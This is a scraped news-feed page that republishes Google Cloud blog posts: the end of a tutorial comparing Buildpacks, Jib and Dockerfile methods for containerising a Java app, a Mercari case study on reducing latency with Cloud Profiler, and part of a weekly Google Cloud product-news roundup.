    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            &lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
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<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
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<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
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<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
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<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
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<title><![CDATA[How Mercari reduced request latency by 15% with Cloud Profiler]]></title>
<description><![CDATA[Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservi...]]></description>
<link>https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p><i><b>Editor’s note</b>: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. </i></p><p>The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer <a href="https://www.emarketer.com/content/us-ecommerce-will-rise-18-2020-amid-pandemic?ecid=NL1001" target="_blank">predicts</a> that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace <a href="https://www.mercari.com/us/help_center/article/22" target="_blank">Mercari Inc</a>—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. </p><p>Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.</p><h3>A microservices menagerie</h3><p>Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. </p><p>After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: </p><ul><li><p>Exporting metrics to Prometheus</p></li><li><p>A gRPC server and interceptors</p></li><li><p>Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  </p></li></ul><p>We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. </p><h3>Maintaining SLO a challenge</h3><p>In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. </p><p>Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. </p><h3>Using Cloud Profiler and Cloud Trace to minimize performance issues</h3><p>In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. </p><p>New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  </p><p>Before the change:</p></div>
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<div class="block-paragraph"><p>After the change:</p></div>
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<div class="block-paragraph"><p>These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the <b>_UserStats_SellerCancelStats_Handler</b> function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function. </p><p>We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:</p></div>
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<div class="block-paragraph"><p>We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!</p><h3>Simplifying the DevOps experience</h3><p>Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate  tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity. </p><p>Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. <a href="https://cloud.google.com/profiler/docs/about-profiler#performance_impact">Low overhead</a> continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.</p><p>Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.  </p><p><i>Visit the Google Cloud website to learn more about <a href="https://cloud.google.com/profiler">Cloud Profiler</a> and <a href="https://cloud.google.com/trace">Cloud Trace</a>.</i></p></div>
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            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Mercari: Faster and more efficient development with the help of Google Cloud</h4>
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<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
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<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
